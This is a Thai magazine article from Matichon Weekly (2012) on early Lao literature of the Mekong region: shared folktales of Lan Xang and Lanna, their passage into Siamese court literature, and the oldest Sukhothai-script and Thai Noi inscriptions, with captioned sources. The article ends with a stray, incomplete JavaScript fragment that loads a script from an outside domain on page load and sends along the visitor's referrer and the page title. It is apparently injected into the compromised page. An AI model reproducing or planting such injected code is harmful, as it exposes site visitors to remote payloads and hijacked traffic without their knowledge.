มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 20 กรกฎาคม 2555

 

          ดินแดนสองฝั่งโขงที่รู้กันกว้างขวางนามรัฐล้านช้าง (ไทยน้อยในลาวรวมอีสานในไทย) กับรัฐล้านนา(ในไทย รวมไทยใหญ่ในพม่า) สมัยโบราณเป็น“เครือญาติลาว”ด้วยกันหมด

          มีกรณีความสัมพันธ์ทางการเมืองในระบบเครือญาติของสองรัฐนี้ คือเมื่อรัฐล้านนาขาดเชื้อวงศ์เหมาะสม จึงเชิญพระไชยเชษฐาฯ โอรสมหาราชล้านช้าง (ที่หลวงพระบาง) ไปเป็นมหาราชล้านนา(ที่เชียงใหม่) ครั้นพระบิดาสวรรคตก็เสด็จกลับไปเป็นมหาราชล้านช้าง แล้วย้ายราชธานีจากหลวงพระบางลงไปอยู่เวียงจัน

          ด้วยเหตุนี้ วรรณกรรมลาวสองฝั่งโขง ทั้งล้านนา, ล้านช้าง, เวียงจัน ส่วนมากหรือเกือบทั้งหมดแลกเปลี่ยนไปมาเป็นเรื่องเดียวกัน จะต่างกันก็ในรายละเอียดปลีกย่อย

 

สองฝั่งโขง-สองฝั่งเจ้าพระยา

          ก่อนมีอักษร วรรณกรรมลาวสองฝั่งโขงมีคำบอกเล่าเป็นนิทาน, ตำนาน เรื่องเดียวกัน เช่น แถน, กำเนิดมนุษย์จากน้ำเต้าปุง, พญาคันคาก(คางคก), หมาเก้าหาง, ฯลฯ

          นานเข้าก็มีรายละเอียดผิดแผกแตกต่างกันบ้าง มีเรื่องอื่นๆรับมาเพิ่มต่างกันไปบ้าง แต่โครงเรื่องหลักๆล้วนอย่างเดียวกัน

          (มีรายละเอียดนิทานต่างๆในหนังสือ วรรณกรรมล้านนา โดย ศ.ดร. อุดม รุ่งเรืองศรี พิมพ์เมื่อ พ .ศ. 2546 และ นิทานพื้นเมืองลาว โดย จารุวรรณ เชาว์นวม คณะอักษรศาสตร์ จุฬาฯ พิมพ์เมื่อ พ.ศ. 2545)

          แล้วมีวรรณกรรมลาวสองฝั่งโขงจำนวนหนึ่งถูกดัดแปลงแต่งเติมเป็นวรรณกรรมไทยสองฝั่งเจ้าพระยา เช่น นิราศหริภุญชัย, พระลอ, ฯลฯ บางทีรับฉันทลักษณ์และความเชื่อมาแต่งในโองการแช่งน้ำ, บทร้องระเบ็ง, บทร้องการะเกด, ฯลฯ

          นอกจากนั้น อ. มณี พยอมยงค์ บอกว่านิทานในปัญญาสชาดก เป็นวรรณกรรมลาวสองฝั่งโขงที่ราชสำนักลุ่มน้ำเจ้าพระยารับไปแต่งหนังสือหลายเล่ม เช่น สมุทโฆษ, พระสุธนกับนางมโนห์รา, พระรถเสน, เสือโค, คาวี, ปลาบู่ทอง, ฯลฯ (จากหนังสือ ประวัติและวรรณคดีลานนา พิมพ์เมื่อ พ.ศ. 2525 พิมพ์ซ้ำอยู่ในหนังสือพระราชทานเพลิงศพ ศ.เกียรติคุณ ดร. มณี พยอมยงค์ ศิลปินแห่งชาติ สาขาวรรณศิลป์ ณ สุสานสันกู่เหล็ก อ. เมือง จ. เชียงใหม่ พ.ศ. 2552 หน้า 358-340)

 

วรรณกรรมลาวล้านช้าง

          ลาวรัฐล้านช้างสองฝั่งโขง รับอักษรธรรม(มาจากอักษรมอญ) จากลาว รัฐล้านนา แล้วรับอักษรไทย(มาจากอักษรเขมร)จากรัฐสุโขทัย ราวหลัง พ.ศ. 1800

          วรรณกรรมลาวเป็นลายลักษณ์อักษรยุคแรกรับรู้อยู่ในคนชั้นนำกับนักบวช ส่วนน้อยเฉพาะที่อ่านออก เขียนได้ (มีคนชั้นนำกับนักบวชจำนวนหนึ่ง และสามัญชนคนไพร่ทั้งหมดอ่านไม่ออก เขียนไม่ได้) เนื้อหาสำคัญเป็นเรื่องราวทางศาสนา-การเมืองเพื่อการปกครอง ซึ่งเหมือนกันกับบ้านเมืองทางลุ่มน้ำเจ้าพระยา และลุ่มน้ำอื่นๆตั้งแต่ยุคก่อนๆ

          วรรณกรรมลาวเป็นลายลักษณ์อักษรเก่าสุดขณะนี้ มีข้อความสั้นๆทางศาสนาว่า “พ่อพญาพระตบะใส่ไว้ของพระโมหอดใส่นี้” ยังไม่พบคำอธิบายจากนักปราชญ์ว่าหมายถึงอะไร?

          เป็นจารึกอักษรแบบสุโขทัยบนผนังถ้ำนางอัน เมืองจอมเพ็ด แขวงหลวงพระบาง ในรัชกาลพระเจ้าฟ้างุ่ม(หรือฟ้างุ้ม ราว พ.ศ. 1896-1936) อ. ประเสริฐ ณ นคร อธิบายว่าลักษณะอักษรใกล้เคียงตัวหนังสือสมัยพระยาลิไทย ระหว่าง พ.ศ. 1890-1911 (อักษรภาษาจารึกวรรณกรรม ของ ศ.ดร. ประเสริฐ ณ นคร สำนักพิมพ์มติชน พ.ศ. 2549 หน้า 7)

          น่าเชื่อว่าอักษรแบบสุโขทัยแพร่ไปถึงหลวงพระบางในคราวนี้เอง เพราะมีเหตุการณ์สำคัญเกิดขึ้นไล่เลี่ยกันนี้ บอกไว้ในตำนานมูลศาสนาว่าพระสุวัณณคิรีเชิญพุทธศาสนาจากรัฐสุโขทัยไปประดิษฐานถึงหลวงพระบาง(เมืองชวา)

          นับเป็นช่วงเวลาใกล้เคียงกับจารึกวัดพระยืน(จ. ลำพูน) พ.ศ. 1913 อักษรแบบสุโขทัย ซึ่งพระสุมณเถระรับนิมนต์จากรัฐสุโขทัยขึ้นไปทำไว้

 

วรรณกรรมทำบุญการเมือง

          จารึกเป็นวรรณกรรมเพื่อศาสนา-การเมืองของคนชั้นนำที่ให้ทำจารึกนั้น

          ศิลาจารึกและจารึกต่างๆ เช่น จารึกบนฐานพระพุทธรูปในโบสถ์ วิหาร ฯลฯ เป็นพิธีกรรมสำหรับ“ประกาศ”ให้ผีสางเทวดาและสิ่งศักดิ์สิทธิ์รับรู้ว่า“ผู้มีบุญ”ได้ทำบุญขอส่วนกุศลแล้วดังนี้ เพื่อให้ได้บารมีคืออำนาจอย่างใดอย่างหนึ่ง

          บรรดาหมอผีและนักบวชที่อ่านออกเขียนได้(ซึ่งมีไม่มาก) เมื่อรับรู้ข้อความทั้งหมด(จะโดยอ่านเอง หรือฟังคนอื่นอ่านก็ได้) เข้าใจแล้ว ก็จะพากัน“บอกต่อ”ด้วยวิธีใดวิธีหนึ่งในโอกาสต่างๆ เช่น พิธีเลี้ยงผีในหมู่บ้าน, พิธีเลี้ยงพระในวัด, ฯลฯ เพื่อให้ไพร่บ้านพลเมืองรับรู้เลื่อมใสบารมีของ“ผู้มีบุญ”คนนั้น

          ดังนั้นศิลาจารึกและจารึกต่างๆไม่ได้ทำไว้ให้ไพร่บ้านพลเมืองที่เป็นสามัญชนคนทั่วไปอ่านข้อความที่จารึกไว้ เพราะคนพวกนี้อ่านไม่ออก เขียนไม่ได้ มีตัวอย่าง อยู่ในศิลาจารึกพระธาตุร้างบ้านแร่ ต. แร่ อ. พังโคน จ. สกลนคร พ.ศ. 1893 อักษรไทยน้อย 11 บรรทัด กล่าวถึงพระยากุมพัน, สมทิพย์ ได้อุทิศที่ดินให้วัด มีข้อความว่า

          …(แ)ลพระยากูมพัน แสน…สมทิพย์ แสน……กันให้ทานพุ-ทธเขตซาววาคามเขต แลด้านแล 100 วา แก่สมเด็จราชบุญลือเจ้า ต่อเ(ท่า) 5 พันวสา

          (ซาว – ยี่สิบ จำนวนยี่สิบ, แลด้านแล – แต่ละด้าน, ด้านละ, ราชบุญลือ – นามพระเถรผู้ใหญ่ หรือหมายถึงพระพุทธเจ้า, ต่อเท่า – ตราบเท่า, นานเท่า)

          อ. ธวัช ปุณโณทก ผู้เชี่ยวชาญอ่านจารึกไทย-ลาว อธิบายว่า “ศิลาจารึกหลักนี้ป็นรูปแบบของตัวอักษรไทยน้อยที่มีอายุมากที่สุดที่พบขณะนี้ในภาคอีสาน (ถ้าศักราชถูกต้อง)” (ศิลาจารึกอีสานสมัยไทย-ลาว โดย ธวัช บุณโณทก คณะมนุษยศาสตร์ ม. รามคำแหง พิมพ์ครั้งแรก พ.ศ. 2530)

          มีวรรณกรรมลาวล้านช้างเรื่องอื่นๆอีกในช่วงเวลานั้น แต่ยังไม่พบหลักฐานขณะนี้

          กระทั่ง พ.ศ. 1992 ถึงพบหลักฐานจารึกวัดหลวง ด้วยตัวอักษรไทยน้อย มีเนื้อหาว่าด้วยเจ้านายทำบุญ จึงประกาศให้รู้ไปถึงผีสางเทวดาและสิ่งศักดิ์สิทธิ์เพื่อสร้างบารมีตามประเพณีปฏิบัติสืบๆกันมา

จารึกอักษรไทยสมัยสุโขทัย บนผนังถ้ำนางอัน เมืองจอมเพ็ด แขวงหลวงพระบาง อายุราวต้นพุทธศตวรรษที่ 20 ระหว่างรัชกาลพระยาฟ้างุ่มและพระมหาธรรมราชาลิไท หลักฐานทางประวัติศาสตร์ระยะแรกของกลุ่มวัฒนธรรมลาว-ไท ที่พบในสาธารณรัฐประชาธิปไตยประชาชนลาว ความว่า “พ่อพญาพระตบะใส่ไว้พระโมหอดใส่นี้” ภาพจาก : Michel Ferrus, L’ Inscription Rupestre De Nang An (Louang Phrabang) (ภาพและคำอธิบายจากหนังสือ ลำดับกษัตริย์ลาว โดย สุรศักดิ์ ศรีสำองค์ กรมศิลปากร พิมพ์ครั้งที่สอง พ.ศ 2545 หน้า 36)

ศิลาจารึกวัดหลวง ที่วัดหลวง ต. วัดหลวง อ. โพนพิสัย จ. หนองคาย จารึกหลักนี้นับเป็นจารึกล้านช้างที่เก่าที่สุดที่ปรากฏหลักฐานพระนามกษัตริย์ “สมเด็จพระยาแสน” (พระยาสามแสนไท พ.ศ. 1936-1959) และ “สมเด็จเจ้าพระยาชัยมหาราช” (พระยาไชยจักรพรรดิแผ่นแผ้ว พ.ศ. 1981-2023) จารึกขึ้นเมื่อ พ.ศ. 1992 (ภาพและคำอธิบายจากหนังสือ ลำดับกษัตริย์ลาว โดย สุรศักดิ์ ศรีสำอางค์ พิมพ์ครั้งที่สอง พ.ศ. 2545 หน้า 64)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);